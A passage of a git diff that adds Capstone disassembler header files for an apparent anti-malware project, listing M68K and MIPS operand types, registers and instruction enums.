CS_OP_IMM (Immediate operand). + M68K_OP_MEM, ///< = CS_OP_MEM (Memory operand). + M68K_OP_FP_SINGLE, ///< single precision Floating-Point operand + M68K_OP_FP_DOUBLE, ///< double precision Floating-Point operand + M68K_OP_REG_BITS, ///< Register bits move + M68K_OP_REG_PAIR, ///< Register pair in the same op (upper 4 bits for first reg, lower for second) + M68K_OP_BR_DISP, ///< Branch displacement +} m68k_op_type; + +/// Instruction's operand referring to memory +/// This is associated with M68K_OP_MEM operand type above +typedef struct m68k_op_mem { + m68k_reg base_reg; ///< base register (or M68K_REG_INVALID if irrelevant) + m68k_reg index_reg; ///< index register (or M68K_REG_INVALID if irrelevant) + m68k_reg in_base_reg; ///< indirect base register (or M68K_REG_INVALID if irrelevant) + uint32_t in_disp; ///< indirect displacement + uint32_t out_disp; ///< other displacement + int16_t disp; ///< displacement value + uint8_t scale; ///< scale for index register + uint8_t bitfield; ///< set to true if the two values below should be used + uint8_t width; ///< used for bf* instructions + uint8_t offset; ///< used for bf* instructions + uint8_t index_size; ///< 0 = w, 1 = l +} m68k_op_mem; + +/// Operand type for instruction's operands +typedef enum m68k_op_br_disp_size { + M68K_OP_BR_DISP_SIZE_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + M68K_OP_BR_DISP_SIZE_BYTE = 1, ///< signed 8-bit displacement + M68K_OP_BR_DISP_SIZE_WORD = 2, ///< signed 16-bit displacement + M68K_OP_BR_DISP_SIZE_LONG = 4, ///< signed 32-bit displacement +} m68k_op_br_disp_size; + +typedef struct m68k_op_br_disp { + int32_t disp; ///< displacement value + uint8_t disp_size; ///< Size from m68k_op_br_disp_size type above +} m68k_op_br_disp; + +/// Register pair in one operand. +typedef struct cs_m68k_op_reg_pair { + m68k_reg reg_0; + m68k_reg reg_1; +} cs_m68k_op_reg_pair; + +/// Instruction operand +typedef struct cs_m68k_op { + union { + uint64_t imm; ///< immediate value for IMM operand + double dimm; ///< double imm + float simm; ///< float imm + m68k_reg reg; ///< register value for REG operand + cs_m68k_op_reg_pair reg_pair; ///< register pair in one operand + }; + + m68k_op_mem mem; ///< data when operand is targeting memory + m68k_op_br_disp br_disp; ///< data when operand is a branch displacement + uint32_t register_bits; ///< register bits for movem etc. (always in d0-d7, a0-a7, fp0 - fp7 order) + m68k_op_type type; + m68k_address_mode address_mode; ///< M68K addressing mode for this op +} cs_m68k_op; + +/// Operation size of the CPU instructions +typedef enum m68k_cpu_size { + M68K_CPU_SIZE_NONE = 0, ///< unsized or unspecified + M68K_CPU_SIZE_BYTE = 1, ///< 1 byte in size + M68K_CPU_SIZE_WORD = 2, ///< 2 bytes in size + M68K_CPU_SIZE_LONG = 4, ///< 4 bytes in size +} m68k_cpu_size; + +/// Operation size of the FPU instructions (Notice that FPU instruction can also use CPU sizes if needed) +typedef enum m68k_fpu_size { + M68K_FPU_SIZE_NONE = 0, ///< unsized like fsave/frestore + M68K_FPU_SIZE_SINGLE = 4, ///< 4 byte in size (single float) + M68K_FPU_SIZE_DOUBLE = 8, ///< 8 byte in size (double) + M68K_FPU_SIZE_EXTENDED = 12, ///< 12 byte in size (extended real format) +} m68k_fpu_size; + +/// Type of size that is being used for the current instruction +typedef enum m68k_size_type { + M68K_SIZE_TYPE_INVALID = 0, + + M68K_SIZE_TYPE_CPU, + M68K_SIZE_TYPE_FPU, +} m68k_size_type; + +/// Operation size of the current instruction (NOT the actually size of instruction) +typedef struct m68k_op_size { + m68k_size_type type; + union { + m68k_cpu_size cpu_size; + m68k_fpu_size fpu_size; + }; +} m68k_op_size; + +/// The M68K instruction and it's operands +typedef struct cs_m68k { + // Number of operands of this instruction or 0 when instruction has no operand. + cs_m68k_op operands[M68K_OPERAND_COUNT]; ///< operands for this instruction. + m68k_op_size op_size; ///< size of data operand works on in bytes (.b, .w, .l, etc) + uint8_t op_count; ///< number of operands for the instruction +} cs_m68k; + +/// M68K instruction +typedef enum m68k_insn { + M68K_INS_INVALID = 0, + + M68K_INS_ABCD, + M68K_INS_ADD, + M68K_INS_ADDA, + M68K_INS_ADDI, + M68K_INS_ADDQ, + M68K_INS_ADDX, + M68K_INS_AND, + M68K_INS_ANDI, + M68K_INS_ASL, + M68K_INS_ASR, + M68K_INS_BHS, + M68K_INS_BLO, + M68K_INS_BHI, + M68K_INS_BLS, + M68K_INS_BCC, + M68K_INS_BCS, + M68K_INS_BNE, + M68K_INS_BEQ, + M68K_INS_BVC, + M68K_INS_BVS, + M68K_INS_BPL, + M68K_INS_BMI, + M68K_INS_BGE, + M68K_INS_BLT, + M68K_INS_BGT, + M68K_INS_BLE, + M68K_INS_BRA, + M68K_INS_BSR, + M68K_INS_BCHG, + M68K_INS_BCLR, + M68K_INS_BSET, + M68K_INS_BTST, + M68K_INS_BFCHG, + M68K_INS_BFCLR, + M68K_INS_BFEXTS, + M68K_INS_BFEXTU, + M68K_INS_BFFFO, + M68K_INS_BFINS, + M68K_INS_BFSET, + M68K_INS_BFTST, + M68K_INS_BKPT, + M68K_INS_CALLM, + M68K_INS_CAS, + M68K_INS_CAS2, + M68K_INS_CHK, + M68K_INS_CHK2, + M68K_INS_CLR, + M68K_INS_CMP, + M68K_INS_CMPA, + M68K_INS_CMPI, + M68K_INS_CMPM, + M68K_INS_CMP2, + M68K_INS_CINVL, + M68K_INS_CINVP, + M68K_INS_CINVA, + M68K_INS_CPUSHL, + M68K_INS_CPUSHP, + M68K_INS_CPUSHA, + M68K_INS_DBT, + M68K_INS_DBF, + M68K_INS_DBHI, + M68K_INS_DBLS, + M68K_INS_DBCC, + M68K_INS_DBCS, + M68K_INS_DBNE, + M68K_INS_DBEQ, + M68K_INS_DBVC, + M68K_INS_DBVS, + M68K_INS_DBPL, + M68K_INS_DBMI, + M68K_INS_DBGE, + M68K_INS_DBLT, + M68K_INS_DBGT, + M68K_INS_DBLE, + M68K_INS_DBRA, + M68K_INS_DIVS, + M68K_INS_DIVSL, + M68K_INS_DIVU, + M68K_INS_DIVUL, + M68K_INS_EOR, + M68K_INS_EORI, + M68K_INS_EXG, + M68K_INS_EXT, + M68K_INS_EXTB, + M68K_INS_FABS, + M68K_INS_FSABS, + M68K_INS_FDABS, + M68K_INS_FACOS, + M68K_INS_FADD, + M68K_INS_FSADD, + M68K_INS_FDADD, + M68K_INS_FASIN, + M68K_INS_FATAN, + M68K_INS_FATANH, + M68K_INS_FBF, + M68K_INS_FBEQ, + M68K_INS_FBOGT, + M68K_INS_FBOGE, + M68K_INS_FBOLT, + M68K_INS_FBOLE, + M68K_INS_FBOGL, + M68K_INS_FBOR, + M68K_INS_FBUN, + M68K_INS_FBUEQ, + M68K_INS_FBUGT, + M68K_INS_FBUGE, + M68K_INS_FBULT, + M68K_INS_FBULE, + M68K_INS_FBNE, + M68K_INS_FBT, + M68K_INS_FBSF, + M68K_INS_FBSEQ, + M68K_INS_FBGT, + M68K_INS_FBGE, + M68K_INS_FBLT, + M68K_INS_FBLE, + M68K_INS_FBGL, + M68K_INS_FBGLE, + M68K_INS_FBNGLE, + M68K_INS_FBNGL, + M68K_INS_FBNLE, + M68K_INS_FBNLT, + M68K_INS_FBNGE, + M68K_INS_FBNGT, + M68K_INS_FBSNE, + M68K_INS_FBST, + M68K_INS_FCMP, + M68K_INS_FCOS, + M68K_INS_FCOSH, + M68K_INS_FDBF, + M68K_INS_FDBEQ, + M68K_INS_FDBOGT, + M68K_INS_FDBOGE, + M68K_INS_FDBOLT, + M68K_INS_FDBOLE, + M68K_INS_FDBOGL, + M68K_INS_FDBOR, + M68K_INS_FDBUN, + M68K_INS_FDBUEQ, + M68K_INS_FDBUGT, + M68K_INS_FDBUGE, + M68K_INS_FDBULT, + M68K_INS_FDBULE, + M68K_INS_FDBNE, + M68K_INS_FDBT, + M68K_INS_FDBSF, + M68K_INS_FDBSEQ, + M68K_INS_FDBGT, + M68K_INS_FDBGE, + M68K_INS_FDBLT, + M68K_INS_FDBLE, + M68K_INS_FDBGL, + M68K_INS_FDBGLE, + M68K_INS_FDBNGLE, + M68K_INS_FDBNGL, + M68K_INS_FDBNLE, + M68K_INS_FDBNLT, + M68K_INS_FDBNGE, + M68K_INS_FDBNGT, + M68K_INS_FDBSNE, + M68K_INS_FDBST, + M68K_INS_FDIV, + M68K_INS_FSDIV, + M68K_INS_FDDIV, + M68K_INS_FETOX, + M68K_INS_FETOXM1, + M68K_INS_FGETEXP, + M68K_INS_FGETMAN, + M68K_INS_FINT, + M68K_INS_FINTRZ, + M68K_INS_FLOG10, + M68K_INS_FLOG2, + M68K_INS_FLOGN, + M68K_INS_FLOGNP1, + M68K_INS_FMOD, + M68K_INS_FMOVE, + M68K_INS_FSMOVE, + M68K_INS_FDMOVE, + M68K_INS_FMOVECR, + M68K_INS_FMOVEM, + M68K_INS_FMUL, + M68K_INS_FSMUL, + M68K_INS_FDMUL, + M68K_INS_FNEG, + M68K_INS_FSNEG, + M68K_INS_FDNEG, + M68K_INS_FNOP, + M68K_INS_FREM, + M68K_INS_FRESTORE, + M68K_INS_FSAVE, + M68K_INS_FSCALE, + M68K_INS_FSGLDIV, + M68K_INS_FSGLMUL, + M68K_INS_FSIN, + M68K_INS_FSINCOS, + M68K_INS_FSINH, + M68K_INS_FSQRT, + M68K_INS_FSSQRT, + M68K_INS_FDSQRT, + M68K_INS_FSF, + M68K_INS_FSBEQ, + M68K_INS_FSOGT, + M68K_INS_FSOGE, + M68K_INS_FSOLT, + M68K_INS_FSOLE, + M68K_INS_FSOGL, + M68K_INS_FSOR, + M68K_INS_FSUN, + M68K_INS_FSUEQ, + M68K_INS_FSUGT, + M68K_INS_FSUGE, + M68K_INS_FSULT, + M68K_INS_FSULE, + M68K_INS_FSNE, + M68K_INS_FST, + M68K_INS_FSSF, + M68K_INS_FSSEQ, + M68K_INS_FSGT, + M68K_INS_FSGE, + M68K_INS_FSLT, + M68K_INS_FSLE, + M68K_INS_FSGL, + M68K_INS_FSGLE, + M68K_INS_FSNGLE, + M68K_INS_FSNGL, + M68K_INS_FSNLE, + M68K_INS_FSNLT, + M68K_INS_FSNGE, + M68K_INS_FSNGT, + M68K_INS_FSSNE, + M68K_INS_FSST, + M68K_INS_FSUB, + M68K_INS_FSSUB, + M68K_INS_FDSUB, + M68K_INS_FTAN, + M68K_INS_FTANH, + M68K_INS_FTENTOX, + M68K_INS_FTRAPF, + M68K_INS_FTRAPEQ, + M68K_INS_FTRAPOGT, + M68K_INS_FTRAPOGE, + M68K_INS_FTRAPOLT, + M68K_INS_FTRAPOLE, + M68K_INS_FTRAPOGL, + M68K_INS_FTRAPOR, + M68K_INS_FTRAPUN, + M68K_INS_FTRAPUEQ, + M68K_INS_FTRAPUGT, + M68K_INS_FTRAPUGE, + M68K_INS_FTRAPULT, + M68K_INS_FTRAPULE, + M68K_INS_FTRAPNE, + M68K_INS_FTRAPT, + M68K_INS_FTRAPSF, + M68K_INS_FTRAPSEQ, + M68K_INS_FTRAPGT, + M68K_INS_FTRAPGE, + M68K_INS_FTRAPLT, + M68K_INS_FTRAPLE, + M68K_INS_FTRAPGL, + M68K_INS_FTRAPGLE, + M68K_INS_FTRAPNGLE, + M68K_INS_FTRAPNGL, + M68K_INS_FTRAPNLE, + M68K_INS_FTRAPNLT, + M68K_INS_FTRAPNGE, + M68K_INS_FTRAPNGT, + M68K_INS_FTRAPSNE, + M68K_INS_FTRAPST, + M68K_INS_FTST, + M68K_INS_FTWOTOX, + M68K_INS_HALT, + M68K_INS_ILLEGAL, + M68K_INS_JMP, + M68K_INS_JSR, + M68K_INS_LEA, + M68K_INS_LINK, + M68K_INS_LPSTOP, + M68K_INS_LSL, + M68K_INS_LSR, + M68K_INS_MOVE, + M68K_INS_MOVEA, + M68K_INS_MOVEC, + M68K_INS_MOVEM, + M68K_INS_MOVEP, + M68K_INS_MOVEQ, + M68K_INS_MOVES, + M68K_INS_MOVE16, + M68K_INS_MULS, + M68K_INS_MULU, + M68K_INS_NBCD, + M68K_INS_NEG, + M68K_INS_NEGX, + M68K_INS_NOP, + M68K_INS_NOT, + M68K_INS_OR, + M68K_INS_ORI, + M68K_INS_PACK, + M68K_INS_PEA, + M68K_INS_PFLUSH, + M68K_INS_PFLUSHA, + M68K_INS_PFLUSHAN, + M68K_INS_PFLUSHN, + M68K_INS_PLOADR, + M68K_INS_PLOADW, + M68K_INS_PLPAR, + M68K_INS_PLPAW, + M68K_INS_PMOVE, + M68K_INS_PMOVEFD, + M68K_INS_PTESTR, + M68K_INS_PTESTW, + M68K_INS_PULSE, + M68K_INS_REMS, + M68K_INS_REMU, + M68K_INS_RESET, + M68K_INS_ROL, + M68K_INS_ROR, + M68K_INS_ROXL, + M68K_INS_ROXR, + M68K_INS_RTD, + M68K_INS_RTE, + M68K_INS_RTM, + M68K_INS_RTR, + M68K_INS_RTS, + M68K_INS_SBCD, + M68K_INS_ST, + M68K_INS_SF, + M68K_INS_SHI, + M68K_INS_SLS, + M68K_INS_SCC, + M68K_INS_SHS, + M68K_INS_SCS, + M68K_INS_SLO, + M68K_INS_SNE, + M68K_INS_SEQ, + M68K_INS_SVC, + M68K_INS_SVS, + M68K_INS_SPL, + M68K_INS_SMI, + M68K_INS_SGE, + M68K_INS_SLT, + M68K_INS_SGT, + M68K_INS_SLE, + M68K_INS_STOP, + M68K_INS_SUB, + M68K_INS_SUBA, + M68K_INS_SUBI, + M68K_INS_SUBQ, + M68K_INS_SUBX, + M68K_INS_SWAP, + M68K_INS_TAS, + M68K_INS_TRAP, + M68K_INS_TRAPV, + M68K_INS_TRAPT, + M68K_INS_TRAPF, + M68K_INS_TRAPHI, + M68K_INS_TRAPLS, + M68K_INS_TRAPCC, + M68K_INS_TRAPHS, + M68K_INS_TRAPCS, + M68K_INS_TRAPLO, + M68K_INS_TRAPNE, + M68K_INS_TRAPEQ, + M68K_INS_TRAPVC, + M68K_INS_TRAPVS, + M68K_INS_TRAPPL, + M68K_INS_TRAPMI, + M68K_INS_TRAPGE, + M68K_INS_TRAPLT, + M68K_INS_TRAPGT, + M68K_INS_TRAPLE, + M68K_INS_TST, + M68K_INS_UNLK, + M68K_INS_UNPK, + M68K_INS_ENDING, // <-- mark the end of the list of instructions +} m68k_insn; + +/// Group of M68K instructions +typedef enum m68k_group_type { + M68K_GRP_INVALID = 0, ///< CS_GRUP_INVALID + M68K_GRP_JUMP, ///< = CS_GRP_JUMP + M68K_GRP_RET = 3, ///< = CS_GRP_RET + M68K_GRP_IRET = 5, ///< = CS_GRP_IRET + M68K_GRP_BRANCH_RELATIVE = 7, ///< = CS_GRP_BRANCH_RELATIVE + + M68K_GRP_ENDING,// <-- mark the end of the list of groups +} m68k_group_type; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/capstone/mips.h b/ai_anti_malware/capstone/include/capstone/mips.h new file mode 100644 index 0000000..f10c303 --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/mips.h @@ -0,0 +1,956 @@ +#ifndef CAPSTONE_MIPS_H +#define CAPSTONE_MIPS_H + +/* Capstone Disassembly Engine */ +/* By Nguyen Anh Quynh , 2013-2015 */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +// GCC MIPS toolchain has a default macro called "mips" which breaks +// compilation +#undef mips + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +/// Operand type for instruction's operands +typedef enum mips_op_type { + MIPS_OP_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + MIPS_OP_REG, ///< = CS_OP_REG (Register operand). + MIPS_OP_IMM, ///< = CS_OP_IMM (Immediate operand). + MIPS_OP_MEM, ///< = CS_OP_MEM (Memory operand). +} mips_op_type; + +/// MIPS registers +typedef enum mips_reg { + MIPS_REG_INVALID = 0, + // General purpose registers + MIPS_REG_PC, + + MIPS_REG_0, + MIPS_REG_1, + MIPS_REG_2, + MIPS_REG_3, + MIPS_REG_4, + MIPS_REG_5, + MIPS_REG_6, + MIPS_REG_7, + MIPS_REG_8, + MIPS_REG_9, + MIPS_REG_10, + MIPS_REG_11, + MIPS_REG_12, + MIPS_REG_13, + MIPS_REG_14, + MIPS_REG_15, + MIPS_REG_16, + MIPS_REG_17, + MIPS_REG_18, + MIPS_REG_19, + MIPS_REG_20, + MIPS_REG_21, + MIPS_REG_22, + MIPS_REG_23, + MIPS_REG_24, + MIPS_REG_25, + MIPS_REG_26, + MIPS_REG_27, + MIPS_REG_28, + MIPS_REG_29, + MIPS_REG_30, + MIPS_REG_31, + + // DSP registers + MIPS_REG_DSPCCOND, + MIPS_REG_DSPCARRY, + MIPS_REG_DSPEFI, + MIPS_REG_DSPOUTFLAG, + MIPS_REG_DSPOUTFLAG16_19, + MIPS_REG_DSPOUTFLAG20, + MIPS_REG_DSPOUTFLAG21, + MIPS_REG_DSPOUTFLAG22, + MIPS_REG_DSPOUTFLAG23, + MIPS_REG_DSPPOS, + MIPS_REG_DSPSCOUNT, + + // ACC registers + MIPS_REG_AC0, + MIPS_REG_AC1, + MIPS_REG_AC2, + MIPS_REG_AC3, + + // COP registers + MIPS_REG_CC0, + MIPS_REG_CC1, + MIPS_REG_CC2, + MIPS_REG_CC3, + MIPS_REG_CC4, + MIPS_REG_CC5, + MIPS_REG_CC6, + MIPS_REG_CC7, + + // FPU registers + MIPS_REG_F0, + MIPS_REG_F1, + MIPS_REG_F2, + MIPS_REG_F3, + MIPS_REG_F4, + MIPS_REG_F5, + MIPS_REG_F6, + MIPS_REG_F7, + MIPS_REG_F8, + MIPS_REG_F9, + MIPS_REG_F10, + MIPS_REG_F11, + MIPS_REG_F12, + MIPS_REG_F13, + MIPS_REG_F14, + MIPS_REG_F15, + MIPS_REG_F16, + MIPS_REG_F17, + MIPS_REG_F18, + MIPS_REG_F19, + MIPS_REG_F20, + MIPS_REG_F21, + MIPS_REG_F22, + MIPS_REG_F23, + MIPS_REG_F24, + MIPS_REG_F25, + MIPS_REG_F26, + MIPS_REG_F27, + MIPS_REG_F28, + MIPS_REG_F29, + MIPS_REG_F30, + MIPS_REG_F31, + + MIPS_REG_FCC0, + MIPS_REG_FCC1, + MIPS_REG_FCC2, + MIPS_REG_FCC3, + MIPS_REG_FCC4, + MIPS_REG_FCC5, + MIPS_REG_FCC6, + MIPS_REG_FCC7, + + // AFPR128 + MIPS_REG_W0, + MIPS_REG_W1, + MIPS_REG_W2, + MIPS_REG_W3, + MIPS_REG_W4, + MIPS_REG_W5, + MIPS_REG_W6, + MIPS_REG_W7, + MIPS_REG_W8, + MIPS_REG_W9, + MIPS_REG_W10, + MIPS_REG_W11, + MIPS_REG_W12, + MIPS_REG_W13, + MIPS_REG_W14, + MIPS_REG_W15, + MIPS_REG_W16, + MIPS_REG_W17, + MIPS_REG_W18, + MIPS_REG_W19, + MIPS_REG_W20, + MIPS_REG_W21, + MIPS_REG_W22, + MIPS_REG_W23, + MIPS_REG_W24, + MIPS_REG_W25, + MIPS_REG_W26, + MIPS_REG_W27, + MIPS_REG_W28, + MIPS_REG_W29, + MIPS_REG_W30, + MIPS_REG_W31, + + MIPS_REG_HI, + MIPS_REG_LO, + + MIPS_REG_P0, + MIPS_REG_P1, + MIPS_REG_P2, + + MIPS_REG_MPL0, + MIPS_REG_MPL1, + MIPS_REG_MPL2, + + MIPS_REG_ENDING, // <-- mark the end of the list or registers + + // alias registers + MIPS_REG_ZERO = MIPS_REG_0, + MIPS_REG_AT = MIPS_REG_1, + MIPS_REG_V0 = MIPS_REG_2, + MIPS_REG_V1 = MIPS_REG_3, + MIPS_REG_A0 = MIPS_REG_4, + MIPS_REG_A1 = MIPS_REG_5, + MIPS_REG_A2 = MIPS_REG_6, + MIPS_REG_A3 = MIPS_REG_7, + MIPS_REG_T0 = MIPS_REG_8, + MIPS_REG_T1 = MIPS_REG_9, + MIPS_REG_T2 = MIPS_REG_10, + MIPS_REG_T3 = MIPS_REG_11, + MIPS_REG_T4 = MIPS_REG_12, + MIPS_REG_T5 = MIPS_REG_13, + MIPS_REG_T6 = MIPS_REG_14, + MIPS_REG_T7 = MIPS_REG_15, + MIPS_REG_S0 = MIPS_REG_16, + MIPS_REG_S1 = MIPS_REG_17, + MIPS_REG_S2 = MIPS_REG_18, + MIPS_REG_S3 = MIPS_REG_19, + MIPS_REG_S4 = MIPS_REG_20, + MIPS_REG_S5 = MIPS_REG_21, + MIPS_REG_S6 = MIPS_REG_22, + MIPS_REG_S7 = MIPS_REG_23, + MIPS_REG_T8 = MIPS_REG_24, + MIPS_REG_T9 = MIPS_REG_25, + MIPS_REG_K0 = MIPS_REG_26, + MIPS_REG_K1 = MIPS_REG_27, + MIPS_REG_GP = MIPS_REG_28, + MIPS_REG_SP = MIPS_REG_29, + MIPS_REG_FP = MIPS_REG_30, MIPS_REG_S8 = MIPS_REG_30, + MIPS_REG_RA = MIPS_REG_31, + + MIPS_REG_HI0 = MIPS_REG_AC0, + MIPS_REG_HI1 = MIPS_REG_AC1, + MIPS_REG_HI2 = MIPS_REG_AC2, + MIPS_REG_HI3 = MIPS_REG_AC3, + + MIPS_REG_LO0 = MIPS_REG_HI0, + MIPS_REG_LO1 = MIPS_REG_HI1, + MIPS_REG_LO2 = MIPS_REG_HI2, + MIPS_REG_LO3 = MIPS_REG_HI3, +} mips_reg; + +/// Instruction's operand referring to memory +/// This is associated with MIPS_OP_MEM operand type above +typedef struct mips_op_mem { + mips_reg base; ///< base register + int64_t disp; ///< displacement/offset value +} mips_op_mem; + +/// Instruction operand +typedef struct cs_mips_op { + mips_op_type type; ///< operand type + union { + mips_reg reg; ///< register value for REG operand + int64_t imm; ///< immediate value for IMM operand + mips_op_mem mem; ///< base/index/scale/disp value for MEM operand + }; +} cs_mips_op; + +/// Instruction structure +typedef struct cs_mips { + /// Number of operands of this instruction, + /// or 0 when instruction has no operand. + uint8_t op_count; + cs_mips_op operands[10]; ///< operands for this instruction. +} cs_mips; + +/// MIPS instruction +typedef enum mips_insn { + MIPS_INS_INVALID = 0, + + MIPS_INS_ABSQ_S, + MIPS_INS_ADD, + MIPS_INS_ADDIUPC, + MIPS_INS_ADDIUR1SP, + MIPS_INS_ADDIUR2, + MIPS_INS_ADDIUS5, + MIPS_INS_ADDIUSP, + MIPS_INS_ADDQH, + MIPS_INS_ADDQH_R, + MIPS_INS_ADDQ, + MIPS_INS_ADDQ_S, + MIPS_INS_ADDSC, + MIPS_INS_ADDS_A, + MIPS_INS_ADDS_S, + MIPS_INS_ADDS_U, + MIPS_INS_ADDU16, + MIPS_INS_ADDUH, + MIPS_INS_ADDUH_R, + MIPS_INS_ADDU, + MIPS_INS_ADDU_S, + MIPS_INS_ADDVI, + MIPS_INS_ADDV, + MIPS_INS_ADDWC, + MIPS_INS_ADD_A, + MIPS_INS_ADDI, + MIPS_INS_ADDIU, + MIPS_INS_ALIGN, + MIPS_INS_ALUIPC, + MIPS_INS_AND, + MIPS_INS_AND16, + MIPS_INS_ANDI16, + MIPS_INS_ANDI, + MIPS_INS_APPEND, + MIPS_INS_ASUB_S, + MIPS_INS_ASUB_U, + MIPS_INS_AUI, + MIPS_INS_AUIPC, + MIPS_INS_AVER_S, + MIPS_INS_AVER_U, + MIPS_INS_AVE_S, + MIPS_INS_AVE_U, + MIPS_INS_B16, + MIPS_INS_BADDU, + MIPS_INS_BAL, + MIPS_INS_BALC, + MIPS_INS_BALIGN, + MIPS_INS_BBIT0, + MIPS_INS_BBIT032, + MIPS_INS_BBIT1, + MIPS_INS_BBIT132, + MIPS_INS_BC, + MIPS_INS_BC0F, + MIPS_INS_BC0FL, + MIPS_INS_BC0T, + MIPS_INS_BC0TL, + MIPS_INS_BC1EQZ, + MIPS_INS_BC1F, + MIPS_INS_BC1FL, + MIPS_INS_BC1NEZ, + MIPS_INS_BC1T, + MIPS_INS_BC1TL, + MIPS_INS_BC2EQZ, + MIPS_INS_BC2F, + MIPS_INS_BC2FL, + MIPS_INS_BC2NEZ, + MIPS_INS_BC2T, + MIPS_INS_BC2TL, + MIPS_INS_BC3F, + MIPS_INS_BC3FL, + MIPS_INS_BC3T, + MIPS_INS_BC3TL, + MIPS_INS_BCLRI, + MIPS_INS_BCLR, + MIPS_INS_BEQ, + MIPS_INS_BEQC, + MIPS_INS_BEQL, + MIPS_INS_BEQZ16, + MIPS_INS_BEQZALC, + MIPS_INS_BEQZC, + MIPS_INS_BGEC, + MIPS_INS_BGEUC, + MIPS_INS_BGEZ, + MIPS_INS_BGEZAL, + MIPS_INS_BGEZALC, + MIPS_INS_BGEZALL, + MIPS_INS_BGEZALS, + MIPS_INS_BGEZC, + MIPS_INS_BGEZL, + MIPS_INS_BGTZ, + MIPS_INS_BGTZALC, + MIPS_INS_BGTZC, + MIPS_INS_BGTZL, + MIPS_INS_BINSLI, + MIPS_INS_BINSL, + MIPS_INS_BINSRI, + MIPS_INS_BINSR, + MIPS_INS_BITREV, + MIPS_INS_BITSWAP, + MIPS_INS_BLEZ, + MIPS_INS_BLEZALC, + MIPS_INS_BLEZC, + MIPS_INS_BLEZL, + MIPS_INS_BLTC, + MIPS_INS_BLTUC, + MIPS_INS_BLTZ, + MIPS_INS_BLTZAL, + MIPS_INS_BLTZALC, + MIPS_INS_BLTZALL, + MIPS_INS_BLTZALS, + MIPS_INS_BLTZC, + MIPS_INS_BLTZL, + MIPS_INS_BMNZI, + MIPS_INS_BMNZ, + MIPS_INS_BMZI, + MIPS_INS_BMZ, + MIPS_INS_BNE, + MIPS_INS_BNEC, + MIPS_INS_BNEGI, + MIPS_INS_BNEG, + MIPS_INS_BNEL, + MIPS_INS_BNEZ16, + MIPS_INS_BNEZALC, + MIPS_INS_BNEZC, + MIPS_INS_BNVC, + MIPS_INS_BNZ, + MIPS_INS_BOVC, + MIPS_INS_BPOSGE32, + MIPS_INS_BREAK, + MIPS_INS_BREAK16, + MIPS_INS_BSELI, + MIPS_INS_BSEL, + MIPS_INS_BSETI, + MIPS_INS_BSET, + MIPS_INS_BZ, + MIPS_INS_BEQZ, + MIPS_INS_B, + MIPS_INS_BNEZ, + MIPS_INS_BTEQZ, + MIPS_INS_BTNEZ, + MIPS_INS_CACHE, + MIPS_INS_CEIL, + MIPS_INS_CEQI, + MIPS_INS_CEQ, + MIPS_INS_CFC1, + MIPS_INS_CFCMSA, + MIPS_INS_CINS, + MIPS_INS_CINS32, + MIPS_INS_CLASS, + MIPS_INS_CLEI_S, + MIPS_INS_CLEI_U, + MIPS_INS_CLE_S, + MIPS_INS_CLE_U, + MIPS_INS_CLO, + MIPS_INS_CLTI_S, + MIPS_INS_CLTI_U, + MIPS_INS_CLT_S, + MIPS_INS_CLT_U, + MIPS_INS_CLZ, + MIPS_INS_CMPGDU, + MIPS_INS_CMPGU, + MIPS_INS_CMPU, + MIPS_INS_CMP, + MIPS_INS_COPY_S, + MIPS_INS_COPY_U, + MIPS_INS_CTC1, + MIPS_INS_CTCMSA, + MIPS_INS_CVT, + MIPS_INS_C, + MIPS_INS_CMPI, + MIPS_INS_DADD, + MIPS_INS_DADDI, + MIPS_INS_DADDIU, + MIPS_INS_DADDU, + MIPS_INS_DAHI, + MIPS_INS_DALIGN, + MIPS_INS_DATI, + MIPS_INS_DAUI, + MIPS_INS_DBITSWAP, + MIPS_INS_DCLO, + MIPS_INS_DCLZ, + MIPS_INS_DDIV, + MIPS_INS_DDIVU, + MIPS_INS_DERET, + MIPS_INS_DEXT, + MIPS_INS_DEXTM, + MIPS_INS_DEXTU, + MIPS_INS_DI, + MIPS_INS_DINS, + MIPS_INS_DINSM, + MIPS_INS_DINSU, + MIPS_INS_DIV, + MIPS_INS_DIVU, + MIPS_INS_DIV_S, + MIPS_INS_DIV_U, + MIPS_INS_DLSA, + MIPS_INS_DMFC0, + MIPS_INS_DMFC1, + MIPS_INS_DMFC2, + MIPS_INS_DMOD, + MIPS_INS_DMODU, + MIPS_INS_DMTC0, + MIPS_INS_DMTC1, + MIPS_INS_DMTC2, + MIPS_INS_DMUH, + MIPS_INS_DMUHU, + MIPS_INS_DMUL, + MIPS_INS_DMULT, + MIPS_INS_DMULTU, + MIPS_INS_DMULU, + MIPS_INS_DOTP_S, + MIPS_INS_DOTP_U, + MIPS_INS_DPADD_S, + MIPS_INS_DPADD_U, + MIPS_INS_DPAQX_SA, + MIPS_INS_DPAQX_S, + MIPS_INS_DPAQ_SA, + MIPS_INS_DPAQ_S, + MIPS_INS_DPAU, + MIPS_INS_DPAX, + MIPS_INS_DPA, + MIPS_INS_DPOP, + MIPS_INS_DPSQX_SA, + MIPS_INS_DPSQX_S, + MIPS_INS_DPSQ_SA, + MIPS_INS_DPSQ_S, + MIPS_INS_DPSUB_S, + MIPS_INS_DPSUB_U, + MIPS_INS_DPSU, + MIPS_INS_DPSX, + MIPS_INS_DPS, + MIPS_INS_DROTR, + MIPS_INS_DROTR32, + MIPS_INS_DROTRV, + MIPS_INS_DSBH, + MIPS_INS_DSHD, + MIPS_INS_DSLL, + MIPS_INS_DSLL32, + MIPS_INS_DSLLV, + MIPS_INS_DSRA, + MIPS_INS_DSRA32, + MIPS_INS_DSRAV, + MIPS_INS_DSRL, + MIPS_INS_DSRL32, + MIPS_INS_DSRLV, + MIPS_INS_DSUB, + MIPS_INS_DSUBU, + MIPS_INS_EHB, + MIPS_INS_EI, + MIPS_INS_ERET, + MIPS_INS_EXT, + MIPS_INS_EXTP, + MIPS_INS_EXTPDP, + MIPS_INS_EXTPDPV, + MIPS_INS_EXTPV, + MIPS_INS_EXTRV_RS, + MIPS_INS_EXTRV_R, + MIPS_INS_EXTRV_S, + MIPS_INS_EXTRV, + MIPS_INS_EXTR_RS, + MIPS_INS_EXTR_R, + MIPS_INS_EXTR_S, + MIPS_INS_EXTR, + MIPS_INS_EXTS, + MIPS_INS_EXTS32, + MIPS_INS_ABS, + 